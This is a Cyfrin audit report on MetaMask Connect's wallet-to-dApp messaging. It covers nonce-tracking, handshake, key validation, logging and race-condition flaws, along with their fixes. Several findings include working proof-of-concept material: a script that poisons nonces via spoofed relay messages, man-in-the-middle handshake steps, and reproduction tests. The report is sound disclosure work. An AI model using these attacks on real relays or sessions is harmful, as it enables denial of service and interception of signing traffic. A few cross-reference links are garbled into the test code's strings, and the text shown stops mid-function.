MetaMask Connect Audit Report

Prepared by Cyfrin

Version 2.0

Lead Auditors

Raiders

Assisting Auditors

0xaudron

March 5, 2026

Contents

1 About Cyfrin

Cyfrin is a Web3 security company dedicated to bringing industry-leading protection and education to our partners and their projects. Our goal is to create a safe, reliable, and transparent environment for everyone in Web3 and DeFi. Learn more about us at cyfrin.io.

2 Disclaimer

The Cyfrin team makes every effort to find as many vulnerabilities in the code as possible in the given time but holds no responsibility for the findings in this document. A security audit by the team does not endorse the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

3 Risk Classification

	Impact: High	**Impact: Medium**	**Impact: Low**
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

4 Protocol Summary

MetaMask Connect enables `dApps` to communicate with MetaMask wallets across browser extension and mobile platforms through multiple transport layers including a WebSocket-based Mobile Wallet Protocol (`MWP`) with end-to-end `ECIES` encryption and a `browser-native` extension path secured by the browser sandbox.

5 Audit Scope

The audit scope was focused on cryptographic implementation security (ECIES usage, key management), session management (handshake protocol, trusted/untrusted connections), input validation (deeplink parsing, WebSocket transport), and third-party dependency security (eciesjs, @noble/ libraries) looking for:

- Cryptographic vulnerabilities (improper ECIES usage, weak key generation, insecure storage)
- Session security issues (replay attacks, session hijacking, handshake flaws)
- Input validation gaps (deeplink injection, malformed message handling)
- Transport layer vulnerabilities (WebSocket security, relay server trust issues)
- Third-party library risks (known CVEs, supply chain vulnerabilities)

This was complemented by dynamic testing (E2E flows, fuzzing, replay attack testing) and threat modeling to map attack surfaces and trust boundaries.

6 Executive Summary

Over the course of 10 days, the Cyfrin team conducted an audit on the Connect smart contracts provided by MetaMask. In this period, a total of 14 issues were found.

The Cyfrin team conducted a security review of the MetaMask Connect system across five repositories spanning the SDK layer, mobile wallet protocol, mobile and extension wallet integrations, and relay server infrastructure. The review focused on approximately 2,100 lines of security-critical code covering cryptographic utilization, connection handshake flows, deeplink parsing, session management, and key lifecycle handling.

A total of 14 issues were identified: 1 High, 5 Medium, 5 Low, and 3 Informational.

The MetaMask team demonstrated exemplary audit readiness. The audit preparation documentation including detailed architecture diagrams, a clearly defined trust model, tiered scope breakdown, and upfront disclosure of known issues significantly accelerated the review process and enabled deeper analysis within the engagement window. Throughout the audit, the MetaMask team was highly responsive, providing prompt clarifications on architectural decisions and actively shipping mitigations in parallel across the `mobile-wallet-protocol`, `connect-monorepo`, and `metamask-mobile` repositories.

Of the 14 findings, 12 were resolved and 2 were acknowledged with documented rationale by the conclusion of the review period.

Summary

Project Name	Connect
Repository	mobile-wallet-protocol
Commit	565c8ef5b633...
Fix Commit	9a6ea640b448...
Repository 2	connect-monorepo
Commit	62d2948fe352...
Fix Commit	e9e2ade076ae...
Repository 3	metamask-mobile
Commit	c7685f0f170b...
Fix Commit	ca668952d2d8...
Repository 4	metamask-extension
Commit	bc6b0381b4ee...
Repository 5	va-mmcx-metamask-sdk-relay-server-workload
Commit	ef38a9e47ad9...
Audit Timeline	Feb 18th - Mar 3rd, 2026
Methods	Manual Review

Issues Found

Critical Risk	0
High Risk	1
Medium Risk	5
Low Risk	5
Informational	3
Gas Optimizations	0
Total Issues	14

Summary of Findings

[H-1] Nonce tracking lacks integrity protections as spoofed clientId enables persistent message suppression	Resolved
[M-1] Trusted handshake mode vulnerable to man-in-the-middle via handshake channel interception	Acknowledged
[M-2] eciesjs major version mismatch between dApp SDK and mobile wallet creates untested cryptographic interoperability risk	Resolved
[M-3] No public key validation at handshake and session resumption boundaries	Resolved
[M-4] Session object with private key, decrypted payloads logged in debug mode and deeplink url being logged unconditionally on error path	Resolved
[M-5] Race conditions in sessionstore master list operations	Resolved
[L-1] Transport-Layer Nonce Poisoning Causes Permanent Session Denial of Service	Resolved
[L-2] Weak structural validation of connectionRequest from deeplink	Resolved
[L-3] OTP generated using math.random is not cryptographically secure way to generate verification code	Resolved
[L-4] Unvalidated `initialMessage` enables cross-dApp approval griefing	Acknowledged
[L-5] Internal origin allowlist bypass via unnormalized URL matching in ConnectionRegistry	Resolved
[I-1] Decompression Bomb due to lack of post decompression size check	Resolved
[I-2] Missing mode field validation in walletclient allows handler selection via untrusted input	Resolved
[I-3] Session expiry not enforced on inbound message path	Resolved

7 Findings

7.1 High Risk

7.1.1 Nonce tracking lacks integrity protections as spoofed clientId enables persistent message suppression

Description: The WebSocket transport layer wraps every message in a plaintext `TransportMessage` envelope containing a `clientId`, monotonic `nonce`, and the encrypted `payload`:

```
// packages/core/src/transport/websocket/index.ts:16-20
type TransportMessage = {
    clientId: string;
    nonce: number;
    payload: string;
};
```

On the receiving side, `_handleIncomingMessage` uses this envelope for per-sender deduplication. It maintains a persistent map of `{clientId → highestSeenNonce}` per channel and drops any message whose nonce is not strictly greater than the last recorded value:

```
// packages/core/src/transport/websocket/index.ts:246-254
const latestNonces = await this.storage.getLatestNonces(channel);
const latestNonce = latestNonces.get(message.clientId) || 0;

if (message.nonce > latestNonce) {
    latestNonces.set(message.clientId, message.nonce);
    await this.storage.setLatestNonces(channel, latestNonces);
    this.emit("message", { channel, data: message.payload });
}
// If message.nonce <= latestNonce, it's a duplicate and we ignore it.
```

This deduplication logic is correct for its intended purpose. However, the `clientId` field in the transport envelope is unauthenticated as it is not covered by `ECIES` encryption (which only protects payload) and there is no signature or MAC binding the `clientId` to the actual sender. The only validation performed is a self-echo check:

```
// packages/core/src/transport/websocket/index.ts:240-243
// Ignore our own messages reflected from the server.
if (message.clientId === this.storage.getClientId()) {
    return;
}
```

This check prevents processing our own reflected messages but does not verify that the claimed `clientId` actually belongs to the sender. Since the `Centrifugo` relay server allows anonymous connections, subscriptions, and publishing to any channel without authentication:

```
// backend/config.json:9, 30-33
"allow_anonymous_connect_without_token": true,
"allow_subscribe_for_anonymous": true,
"allow_publish_for_anonymous": true,
```

An attacker can subscribe to a victim's session channel, observe the legitimate peer's `clientId` from any published transport envelope, and then publish a spoofed envelope with that clientId and an inflated nonce value. This permanently poisons the receiver's dedup state, causing all subsequent legitimate messages from the real peer to be silently dropped.

Additionally, the outgoing nonce counter in `getNextNonce` uses `parseInt` without a `NaN` guard:

```
// packages/core/src/transport/websocket/store.ts:42-49
async getNextNonce(channel: string): Promise<number> {
    const key = this.getNonceKey(channel);
    const value = await this.kvstore.get(key);
```

```
    const currentNonce = value ? parseInt(value, 10) : 0;
    const nextNonce = currentNonce + 1;
    await this.kvstore.set(key, nextNonce.toString());
    return nextNonce;
}
```

If the stored value is ever corrupted to a non-numeric string, parseInt returns `NaN`, which propagates permanently: `NaN + 1 = NaN`, `NaN.toString()` = "NaN", and `parseInt("NaN", 10) = NaN` on every subsequent read. On the receiving side, `message.nonce > NaN` evaluates to `false` for any value, so all messages from the corrupted sender could be permanently dropped.

Impact:

1. An attacker with no credentials can permanently and silently sever the communication between a dApp and wallet by publishing a single spoofed transport envelope. The poisoned nonce state is persisted to `kvstore` and survives application restarts. The victim receives no error, legitimate messages are silently classified as "duplicates" and dropped.

The attack can be further amplified by Centrifugo's message history (`history_size: 20`, `history_ttl: 300s`, `force_recovery: true`): the poisoned message persists in the channel history and is replayed to any client that subscribes or reconnects within the TTL window via `_fetchHistory`, extending the blast radius beyond currently-connected clients.

```
    /**
     * Fetches historical messages for a channel to ensure no data is missed on first subscribe.
     */
    private async _fetchHistory(sub: ISubscription, channel: string): Promise<void> {
        try {
            const history = await sub.history({ limit: HISTORY_FETCH_LIMIT });
            for (const pub of history.publications) {
                await this._handleIncomingMessage(channel, pub.data as string);
            }
        } catch (error) {
            // Centrifuge may throw an error (code 11) if the connection closes
            // during a history fetch. This is expected on disconnect and can be ignored.
            if ((error as { code?: number })?.code === 11) return;
            this.emit("error", new TransportError(ErrorCode.TRANSPORT_HISTORY_FAILED, `Failed to fetch
            ↪  history for channel ${channel}: ${JSON.stringify(error)}`));
        }
    }
```

2. If the `nonce` storage is corrupted to a `non-numeric` value (e.g., via a storage race condition, partial write failure, or external storage manipulation), the affected client enters a permanent state where it can neither send nor receive messages on that channel.

Proof of Concept:

1. Nonce poisoning via spoofed `clientId`:

```
import { Centrifuge } from "centrifuge";

// Step 1: Connect anonymously to the relay server
const attacker = new Centrifuge("ws://relay-server-url/connection/websocket");
attacker.connect();

// Step 2: Subscribe to the victim's session channel to observe traffic
const targetChannel = "session:<known-session-uuid>";
const sub = attacker.newSubscription(targetChannel);

sub.on("publication", (ctx) => {
    // Step 3: Extract the legitimate peer's clientId from any observed message
    const envelope = JSON.parse(ctx.data);
    const legitimateClientId = envelope.clientId;
```

```
    // Step 4: Publish a spoofed envelope with the same clientId and an inflated nonce
    const poison = JSON.stringify({
        clientId: legitimateClientId,
        nonce: Number.MAX_SAFE_INTEGER,
        payload: "irrelevant" // Will fail ECIES decryption, but nonce is already persisted
    });
    attacker.publish(targetChannel, poison);
    // Victim's latestNonces map now has {legitimateClientId: 9007199254740991}
    // All future real messages from the peer (nonce 5, 6, 7...) are silently dropped
});

sub.subscribe();
```

2. NaN corruption:

```
// Simulate storage corruption (e.g., from a partial write or race condition)
await kvstore.set("nonce:<clientId>:<channel>", "corrupted");

// Next call to getNextNonce:
const value = await kvstore.get(key);            // "corrupted"
const currentNonce = parseInt("corrupted", 10); // NaN
const nextNonce = NaN + 1;                       // NaN
await kvstore.set(key, NaN.toString());          // Stores "NaN"
// Permanently stuck: parseInt("NaN", 10) = NaN on every subsequent read

// On receiver side, for any incoming nonce value:
// message.nonce > NaN → false (always) → all messages dropped forever
```

Recommended Mitigation:

1. Authenticate the transport envelope. Include a lightweight MAC (e.g., HMAC-SHA256) over the `clientId` and nonce fields using a key derived from the session, so the receiver can verify the sender's identity at the transport layer before updating dedup state:

```
// On send (index.ts _process):
const mac = hmacSha256(sessionDerivedKey, `${clientId}:${nonce}`);
const message: TransportMessage = { clientId, nonce, payload, mac };

// On receive (index.ts _handleIncomingMessage):
const expectedMac = hmacSha256(sessionDerivedKey, `${message.clientId}:${message.nonce}`);
if (!timingSafeEqual(message.mac, expectedMac)) return; // Drop unauthenticated envelopes
// Only THEN update latestNonces
```

2. Guard parseInt against `NaN`. Add a `NaN` check with a fallback to prevent permanent corruption of the nonce counter:

```
async getNextNonce(channel: string): Promise<number> {
    const key = this.getNonceKey(channel);
    const value = await this.kvstore.get(key);
    const currentNonce = value ? parseInt(value, 10) : 0;
    const nextNonce = (Number.isNaN(currentNonce) ? 0 : currentNonce) + 1;
    await this.kvstore.set(key, nextNonce.toString());
    return nextNonce;
}
```

3. Restrict relay server publish permissions. Remove `allow_publish_for_anonymous` from the Centrifugo configuration and require authenticated publish with a server-issued token that binds the `clientId` to the connection and prevent `clientId` spoofing at the transport level.

MetaMask: Fixed in PR69.

Cyfrin: Verified.

7.2 Medium Risk

7.2.1 Trusted handshake mode vulnerable to man-in-the-middle via handshake channel interception

Description: In trusted mode, the dApp generates a `SessionRequest` containing its public key and a handshake channel name `handshake:{uuid}`, transmitted via QR code or deeplink. The dApp subscribes to that handshake channel and accepts the first `handshake-offer` it receives via `this.context.once("handshake_offer_received", onOfferReceived)`

The relay server requires no authentication `allow_anonymous_connect_without_token: true` and `allow_publish_for_anonymous: true` in the config file and allows any anonymous party to subscribe and publish to any channel. An attacker who intercepts or observes the QR code/deeplink obtains the handshake channel name and the dApp's public key.

The attacker can then subscribe to the handshake channel, generate their own ECIES keypair, craft a `handshake-offer` containing the attacker's public key encrypted with the dApp's public key (which they have from the QR code), and publish it before the real wallet responds. The dApp's `_createFinalSession` blindly accepts whatever `publicKeyB64` and `channelId` come in the offer:

```
private _createFinalSession(session: Session, offer: HandshakeOfferPayload): Session {
    return {
        ...session,
        channel: `session:${offer.channelId}`,
        theirPublicKey: base64ToBytes(offer.publicKeyB64),  // No authentication of sender
    };
}
```

The attacker simultaneously forwards the original `SessionRequest` to the real wallet, establishing a full man-in-the-middle position.

Trusted mode is the only mode currently used at the SDK level, `mode: 'trusted'` is hardcoded. The untrusted flow includes an OTP for out-of-band verification, but it is not invoked.

Impact: An attacker who achieves the preconditions above can intercept and modify:

- `wallet_createSession` permission grants
- Transaction signing requests and responses
- Account enumeration
- All JSON-RPC traffic between dApp and wallet

This results in complete session compromise for up to 30 days (the session TTL).

Proof of Concept:

```
1. Victim displays QR code on laptop screen (or triggers deeplink on phone).

2. Attacker captures/observes the QR --> extracts SessionRequest:
   - channel: "handshake:550e8400-e29b-41d4-a716-446655440000"
   - publicKeyB64: "<dApp's compressed secp256k1 public key>"

3. Attacker generates own keypair:
   - attackerPrivKey, attackerPubKey = eciesjs.PrivateKey()

4. Attacker subscribes to "handshake:550e8400-..." on
   --> wss://mm-sdk-relay.api.cx.metamask.io (no auth required).

5. Attacker crafts and encrypts handshake-offer using dApp's public key:
   - payload = {
       publicKeyB64: base64(attackerPubKey),
       channelId: uuid()
     }
   - encrypted = eciesjs.encrypt(
```

```
      dAppPubKey,
      JSON.stringify({type: "handshake-offer", payload})
    )

6. Attacker publishes encrypted offer to handshake channel.
   - dApp decrypts and accepts (first valid offer wins via context.once()).

7. Attacker forwards original SessionRequest to real wallet.
   - wallet connects to attacker's session channel.

8. Attacker now relays all messages: dApp  Attacker  Wallet.
   - all traffic is visible in plaintext to the attacker.
```

Recommended Mitigation:

- Document the threat model for trusted mode, it relies entirely on the confidentiality of the QR code/deeplink transmission and lacks sender authentication. Add security guidance warning users not to display QR codes on shared/untrusted screens.
- Implement a session confirmation mechanism. After the handshake, both sides display a session fingerprint (e.g., first 4 bytes of `SHA256(dAppPubKey || walletPubKey)`) that the user visually confirms matches.
- Enable the untrusted (OTP) connection flow as default or as a user-selectable option. The OTP provides out-of-band verification not vulnerable to this relay-level attack.

Metamask: This seems very baked into our assumptions of how "Trusted mode" works. I agree we should consider enabling a pathway for users to use "untrusted mode" for more security guarantees.

7.2.2 eciesjs major version mismatch between dApp SDK and mobile wallet creates untested cryptographic interoperability risk

Description: The dApp SDK `connect-multichain` uses eciesjs **v0.4.16** while MetaMask Mobile uses eciesjs **v0.3.21**. Additionally, `eciesjs v0.3.21` declares a dependency on `secp256k1@^5.0.1`, but a Yarn `resolutions` override in MetaMask Mobile force-pins it to **v4.0.4**, a full major version behind what eciesjs expects.

```
eciesjs@npm:^0.3.15":
  version: 0.3.21
  dependencies:
    futoin-hkdf: "npm:^1.5.3"
    secp256k1: "npm:^5.0.1
```

While the basic API surface overlaps, there are subtle differences in default hash functions, error handling, and constant-time guarantees between v4 and v5.

Impact:

- Silent decryption failures or degraded cipher parameters if envelope formats diverge
- Potential subtle cryptographic behavior differences from the `secp256k1` downgrade
- Difficult to reproduce bugs that only surface in `cross-platform` (dApp wallet) communication

Recommended Mitigation:

- Align both sides on the **same** eciesjs major version (preferably 0.4.x)
- Remove or update the `secp256k1` resolution override so eciesjs gets the version it declares
- Add a CI check or integration test that verifies cross-platform encrypt/decrypt round-trips between the dApp SDK and mobile wallet

Metamsk: Fixed in commit f262f7.

Cyfrin: Verified.

7.2.3 No public key validation at handshake and session resumption boundaries

Description: At multiple points in the protocol, public keys are accepted and used without structural validation:

1. During the trusted handshake, the received peer public key is stored as raw `base64ToBytes()` output with no curve check
2. During the untrusted handshake, the same pattern applies
3. When resuming a session, stored peer public keys are deserialized from `base64` and passed to `eciesjs` without checks
4. The `KeyManager` classes on both dApp SDK and mobile wallet pass `theirPublicKey` directly to `eciesjs.encrypt()` with no pre-validation

Handshake ingestion (network boundary):

```
theirPublicKey: base64ToBytes(offer.publicKeyB64)  // No validation
```

Wallet client

```
theirPublicKey: base64ToBytes(request.publicKeyB64)  // No validation
```

Session resumption (storage boundary):

```
publicKey: new Uint8Array(Buffer.from(data.keyPair.publicKeyB64, "base64")),
privateKey: new Uint8Array(Buffer.from(data.keyPair.privateKeyB64, "base64")),
theirPublicKey: new Uint8Array(Buffer.from(data.theirPublicKeyB64, "base64")),
```

No calls to `publicKeyVerify()` exist in this flow

So, a valid `secp256k1` public key must be a point that lies on the curve. Accepting arbitrary byte strings can lead to:

- Invalid curve attacks where the shared secret is predictable
- Crashes or undefined behavior in the native `secp256k1` addon
- Small-subgroup attacks if the key lands on a low-order point

Impact:

- A malicious peer sending a crafted `publicKeyB64` can cause `eciesjs` to throw an unhandled exception when the receiving side attempts to encrypt which could crash the connection handler with no user-friendly error.
- Tampered key material in MMKV causes crypto exceptions on session resumption, or an attacker injects a known private key to decrypt session traffic.
- If `expiresAt` is corrupted to `NaN`, `NaN < Date.now()` evaluates to `false`, so the session never expires and could persist indefinitely beyond the intended 30-day TTL.

Recommended Mitigation:

- Validate all received public keys with `secp256k1.publicKeyVerify()` before use
- Validate keys both at handshake time and when loading from session storage by creating a shared validation utility in `core/src/domain/`:

```
export function validateSecp256k1PublicKey(key: Uint8Array): void {
    if (key.length !== 33) throw new CryptoError(...);
    if (key[0] !== 0x02 && key[0] !== 0x03) throw new CryptoError(...);
}
```

- Apply in `_createFinalSession`, `_createSession`, `SessionStore.get`, and both `KeyManager` implementations.
- Add `isNaN(expiresAt)` check in session store deserialization.

- Reject and terminate the session if validation fails

MetaMask: Fixed in commit.

Cyfrin: Verified.

7.2.4 Session object with private key, decrypted payloads logged in debug mode and deeplink url being logged unconditionally on error path

Description: Debug-level logging outputs full session objects (including private keys) and decrypted message payloads. Additionally, one error path logs the raw deeplink URL unconditionally, which may contain sensitive connection parameters.

1. When debug logging is enabled, the dApp SDK logs the full `session` object (which contains `keyPair.privateKey`) via `logger('active session found', session)`. The mobile wallet logs decrypted JSON-RPC payloads via `logger.debug('Received message:', payload)` and `logger.debug('Sending message:', payload)`.

On mobile devices, these logs can be accessible via crash reporters, log aggregation, or ADB logcat.

2. When deeplink parsing fails, the raw deeplink URL is logged at the error level regardless of debug mode. Deeplink URLs contain connection parameters (channel ID, public key) that could be used to intercept or replay connections.

```
logger.error('Failed to handle connect deeplink:', error, url);
```

```
error: (...args: unknown[]) => {
    console.error(prefix, ...args);  // Always active, no debug gate
},
```

Impact:

- Private key exposure via device logs, crash reporters, or log aggregation
- Decrypted transaction details (addresses, amounts) visible in logs
- Connection parameters leaked on error paths even in production builds

Recommended Mitigation:

- Create a safe session serializer that excludes keyPair:

```
function safeSessionLog(session: Session) {
    return { id: session.id, channel: session.channel, expiresAt: session.expiresAt };
}
```

- Redact message payloads in debug logs to metadata only.
- Gate `logger.error` calls containing URLs behind the debug flag, or strip query parameters before logging.

MetaMask: Fixed in commits e9e2ad, be2b91

Cyfrin: Verified.

7.2.5 Race conditions in sessionstore master list operations

Description: The `SessionStore` performs read-modify-write operations on a shared master session list without synchronization. Concurrent session creation or deletion can cause lost updates, leading to orphaned sessions or silently dropped entries.

```
private async addToMasterList(id: string): Promise<void> {
    const list = await this.getMasterList();       // READ (async)
    if (!list.includes(id)) {
        list.push(id);
        await this.kvstore.set(SessionStore.MASTER_LIST_KEY, JSON.stringify(list)); // WRITE (async)
```

```
    }
}
```

When adding or removing a session, the code:

1. Reads the current list from the `KV` store
2. Modifies it in memory (push/filter)
3. Writes the updated list back

These three steps are not atomic. If two operations run concurrently (e.g., two deeplinks arriving simultaneously, or a session expiry racing with a new connection), the second write overwrites the first, losing its changes.

Also, the constructor calls `this.garbageCollect()` without `await`, creating a fire-and-forget race with any immediate session operations.

Impact: Under concurrent access, session IDs can be lost from the master list. Affected sessions can become ghost sessions their private key material persists in storage indefinitely but is unreachable by `list()` or garbage collection which could leake private keys beyond the intended 30-day TTL.

Recommended Mitigation:

- Implement a mutex around master list read-modify-write operations:

```
private masterListMutex = new Mutex();

private async addToMasterList(id: string): Promise<void> {
    await this.masterListMutex.runExclusive(async () => {
        const list = await this.getMasterList();
        if (!list.includes(id)) {
            list.push(id);
            await this.kvstore.set(SessionStore.MASTER_LIST_KEY, JSON.stringify(list));
        }
    });
}
```

- Convert `garbageCollect()` to an explicit async initialization step.
- Add a consistency check that reconciles the master list with individual session entries on startup

MetaMask: Fixed in commit.

Cyfrin: Verified.

7.3 Low Risk

7.3.1 Transport-Layer Nonce Poisoning Causes Permanent Session Denial of Service

Description: The WebSocket transport layer (`websocket/index.ts`) wraps every E2E-encrypted payload in a plaintext `TransportMessage` envelope containing a `clientId (UUID)` and a monotonically-increasing nonce. The deduplication logic on the receiving side accepts any message whose nonce exceeds the highest nonce previously seen for a given `clientId`, then persists the new nonce before the encrypted payload is validated.

Because the Centrifugo relay server allows anonymous connections with no authentication (`allow_anonymous_connect_without_token: true`), any attacker can subscribe to a known channel and observe the plaintext `clientId` and `nonce` fields. The attacker then publishes a single spoofed message with the victim's `clientId` and `nonce` set to `Number.MAX_SAFE_INTEGER (9007199254740991)`. This permanently advances the stored nonce counter so that all subsequent legitimate messages (which have lower, sequential nonces) are silently dropped as "duplicates."

The only pre-requisite for attacker is to have handshake channel name `(handshake:{uuid})` is transmitted in plaintext via the deeplink URL or QR code, making it discoverable.

The `clientId` is discoverable when `TransportMessage` envelope is published as plaintext JSON on the Centrifugo channel. Only the `payload` field is ECIES-encrypted, the `clientId` and `nonce` sit outside the E2E encryption layer.

```
// websocket/index.ts _process method
const message: TransportMessage = { clientId, nonce, payload: item.payload };
const data = JSON.stringify(message);
await this.centrifuge.publish(item.channel, data);
```

Any subscriber to the channel reads the clientId directly from the JSON, No decryption needed.

```
private async _handleIncomingMessage(channel: string, rawData: string): Promise<void> {
    const message = JSON.parse(rawData) as TransportMessage;
    // ... type checks ...

    if (message.clientId === this.storage.getClientId()) return; // skip own

    const latestNonces = await this.storage.getLatestNonces(channel);
    const latestNonce = latestNonces.get(message.clientId) || 0;

    if (message.nonce > latestNonce) {
        //@audit: Nonce is persisted BEFORE payload validation
        latestNonces.set(message.clientId, message.nonce);
        await this.storage.setLatestNonces(channel, latestNonces);
        this.emit("message", { channel, data: message.payload });
    }
}
```

The issue is that the nonce is updated and persisted to storage unconditionally, regardless of whether the payload subsequently passes E2E decryption in `base-client.ts`. Once persisted, all future legitimate messages with `nonce < MAX_SAFE_INTEGER` are silently dropped.

The DoS is permanent because

- The poisoned nonce is persisted to MMKV via `setLatestNonces`, so it survives app restarts
- The only way to recover is to manually clear the app's storage for this channel
- The victim sees no error as messages are silently dropped as "duplicates"

Impact:

- **Handshake channel attack:** An attacker who observes the deeplink URL can subscribe to `handshake:{uuid}`, wait for the wallet to publish its encrypted handshake offer, observe its `clientId`, and immediately publish a nonce-poisoning message. The dApp will advance the nonce, preventing any future communication on the poisoned channel. This is a zero-authentication, single-message DoS.

- **Session channel attack (requires channel discovery):** If the attacker discovers the session channel UUID (e.g., through a prior MITM or relay-side visibility), they can permanently kill an active 30-day session. Neither side can communicate until one creates a completely new session.
- **Persistence across restarts:** Nonces are stored in persistent `IKVStore` (MMKV on mobile), so the DoS survives app restarts and device reboots.

Proof of Concept:

1. Attacker observes/gets handshake channel name from the deeplink URL (obtainable via clipboard interception, Android Intent inspection, or QR code scanning), which is plaintext: `metamask://connect/mwp?p=...` containing `channel: "handshake:{uuid}"`.
2. Attacker connects to the Centrifugo relay (no auth token needed). The `WebSocketTransport` constructor in `websocket/index.ts` connects with only reconnect options, no token) and subscribes to that channel.
3. Attacker observes the legitimate peer's `clientId` from any message on the channel. Every message is a plaintext JSON envelope: `{ clientId: "abc-123", nonce: 1, payload: "<encrypted>" }`.
4. Attacker publishes one message: `{ clientId: "abc-123", nonce: 9007199254740991, payload: "x" }`.
5. The victim's `_handleIncomingMessage` (line 233 of `websocket/index.ts`) processes it:
6. All subsequent legitimate messages from `clientId: "abc-123"` with normal sequential nonces (2, 3, 4, ...) hit Number.MAX_SAFE_INTEGER

```
// ============================================================================
// Test: Transport-Layer Nonce Poisoning Causes Permanent Session DoS
// File under test: websocket/index.ts (_handleIncomingMessage, lines 233-258)
// Supporting file: websocket/store.ts (getLatestNonces, setLatestNonces)
// ============================================================================

// Mock KV Store (simulates MMKV persistent storage)
class MockKVStore {
  private store = new Map<string, string>();
  async get(key: string): Promise<string | undefined> {
    return this.store.get(key);
  }
  async set(key: string, value: string): Promise<void> {
    this.store.set(key, value);
  }
  async delete(key: string): Promise<void> {
    this.store.delete(key);
  }
}


// ============================================================================
// Test 1: Nonce poisoning drops all legitimate messages
// ============================================================================

async function test_nonce_poisoning_drops_legitimate_messages() {
  /**
   * Reproduces the exact logic from websocket/index.ts _handleIncomingMessage.
   *
   * Steps:
   *   1. Legitimate message arrives with nonce=1 (accepted)
   *   2. Attacker publishes message with same clientId but nonce=MAX_SAFE_INTEGER
   *   3. Legitimate message arrives with nonce=2 (silently dropped)
   *
   * Root cause: Nonce is persisted (line 248-249) BEFORE the payload reaches
   * base-client.ts for E2E decryption. The attacker's garbage payload fails
   * decryption harmlessly, but the nonce counter is already poisoned.
   */
```

```typescript
const kvstore = new MockKVStore();
const CHANNEL = "session:test-uuid";
const NONCE_KEY = `latest-nonces:my-client-id:${CHANNEL}`;
const emitted: string[] = [];

// Exact logic from websocket/index.ts lines 233-258
async function handleIncomingMessage(rawData: string): Promise<void> {
  const message = JSON.parse(rawData);

  // Line 236-238: Type validation
  if (
    typeof message.clientId !== "string" ||
    typeof message.nonce !== "number" ||
    typeof message.payload !== "string"
  ) {
    throw new Error("Invalid message format");
  }

  // Line 241: Skip own messages
  if (message.clientId === "my-client-id") return;

  // Line 244: Load persisted nonces
  const raw = await kvstore.get(NONCE_KEY);
  const latestNonces: Map<string, number> = raw
    ? new Map(Object.entries(JSON.parse(raw)))
    : new Map();

  // Line 245: Get latest nonce for this sender
  const latestNonce = latestNonces.get(message.clientId) || 0;

  // Line 247: Nonce comparison
  if (message.nonce > latestNonce) {
    // Line 248-249: BUG - nonce persisted BEFORE payload validation
    latestNonces.set(message.clientId, message.nonce);
    await kvstore.set(
      NONCE_KEY,
      JSON.stringify(Object.fromEntries(latestNonces))
    );

    // Line 250: Emit to application layer
    emitted.push(message.payload);
  }
  // If nonce <= latestNonce, message is silently dropped as "duplicate"
}

// Step 1: Legitimate message (nonce=1) - accepted
await handleIncomingMessage(
  JSON.stringify({
    clientId: "peer-123",
    nonce: 1,
    payload: "legitimate-encrypted-payload-1",
  })
);

// Step 2: Attacker poisons nonce with MAX_SAFE_INTEGER
await handleIncomingMessage(
  JSON.stringify({
    clientId: "peer-123",
    nonce: Number.MAX_SAFE_INTEGER,
    payload: "garbage-not-valid-ecies",
  })
);
```

```
  // Step 3: Legitimate message (nonce=2) - THIS GETS DROPPED
  await handleIncomingMessage(
    JSON.stringify({
      clientId: "peer-123",
      nonce: 2,
      payload: "legitimate-encrypted-payload-2",
    })
  );

  // Verify: only 2 messages emitted, message [*eciesjs major version mismatch between dApp SDK and
  ↪  mobile wallet creates untested cryptographic interoperability risk*](#eciesjs-major-version-misma
  ↪  tch-between-dapp-sdk-and-mobile-wallet-creates-untested-cryptographic-interoperability-risk) was
  ↪  silently dropped
  const isVulnerable = emitted.length === 2;

  console.log(
    "Test 1 - Nonce poisoning drops legitimate messages:",
    isVulnerable
      ? "VULNERABLE  (Message [*eciesjs major version mismatch between dApp SDK and mobile wallet
      ↪  creates untested cryptographic interoperability risk*](#eciesjs-major-version-mismatch-betwee
      ↪  n-dapp-sdk-and-mobile-wallet-creates-untested-cryptographic-interoperability-risk) silently
      ↪  dropped after nonce poisoning)"
      : "FIXED "
  );
}


// ============================================================================
// Test 2: Poisoned nonce persists across app restarts
// ============================================================================

async function test_nonce_poisoning_persists_across_restarts() {
  /**
   * Proves the DoS is permanent because nonces are stored in persistent
   * KV storage (MMKV on mobile). After an app restart, the poisoned nonce
   * is reloaded and continues to block all legitimate messages.
   *
   * Traces: websocket/store.ts getLatestNonces() and setLatestNonces()
   */

  const kvstore = new MockKVStore();
  const CHANNEL = "session:some-uuid";
  const NONCE_KEY = `latest-nonces:my-client-id:${CHANNEL}`;

  // Simulate: attacker has already poisoned the nonce
  const poisonedNonces = { "peer-123": Number.MAX_SAFE_INTEGER };
  await kvstore.set(NONCE_KEY, JSON.stringify(poisonedNonces));

  // Simulate: app restarts, nonce is reloaded from persistent storage
  const raw = await kvstore.get(NONCE_KEY);
  const restored = new Map<string, number>(Object.entries(JSON.parse(raw!)));
  const storedNonce = restored.get("peer-123") || 0;

  // Simulate: legitimate message arrives after restart with nonce=5
  const legitimateNonce = 5;
  const isDropped = !(legitimateNonce > storedNonce);

  console.log(
    "Test 2 - Poisoned nonce persists across restarts:",
    isDropped
      ? "VULNERABLE  (DoS survives app restart, nonce still poisoned in MMKV)"
      : "FIXED "
```

```
  );
}


// ============================================================================
// Test 3: Attacker's garbage payload does not need to pass decryption
// ============================================================================

async function test_nonce_poisoned_before_decryption() {
  /**
   * Proves that the nonce is persisted in _handleIncomingMessage (transport layer)
   * BEFORE the payload reaches decryptMessage in base-client.ts (application layer).
   *
   * The attacker's garbage payload "x" will fail ECIES decryption, but by that
   * point the nonce counter is already written to storage.
   */

  const kvstore = new MockKVStore();
  const CHANNEL = "session:test-uuid";
  const NONCE_KEY = `latest-nonces:my-client-id:${CHANNEL}`;

  // Simulate _handleIncomingMessage with attacker's garbage payload
  const attackerMessage = JSON.stringify({
    clientId: "peer-123",
    nonce: Number.MAX_SAFE_INTEGER,
    payload: "x", // Not valid ECIES ciphertext
  });

  const message = JSON.parse(attackerMessage);

  // Transport layer persists nonce (lines 248-249)
  const latestNonces = new Map<string, number>();
  latestNonces.set(message.clientId, message.nonce);
  await kvstore.set(
    NONCE_KEY,
    JSON.stringify(Object.fromEntries(latestNonces))
  );

  // Application layer tries to decrypt (base-client.ts line 48)
  let decryptionFailed = false;
  try {
    // Simulates: this.keymanager.decrypt("x", privateKey)
    // ECIES decryption of "x" will always fail
    throw new Error("Decryption failed: invalid ciphertext");
  } catch {
    decryptionFailed = true;
  }

  // Check: nonce is already persisted even though decryption failed
  const raw = await kvstore.get(NONCE_KEY);
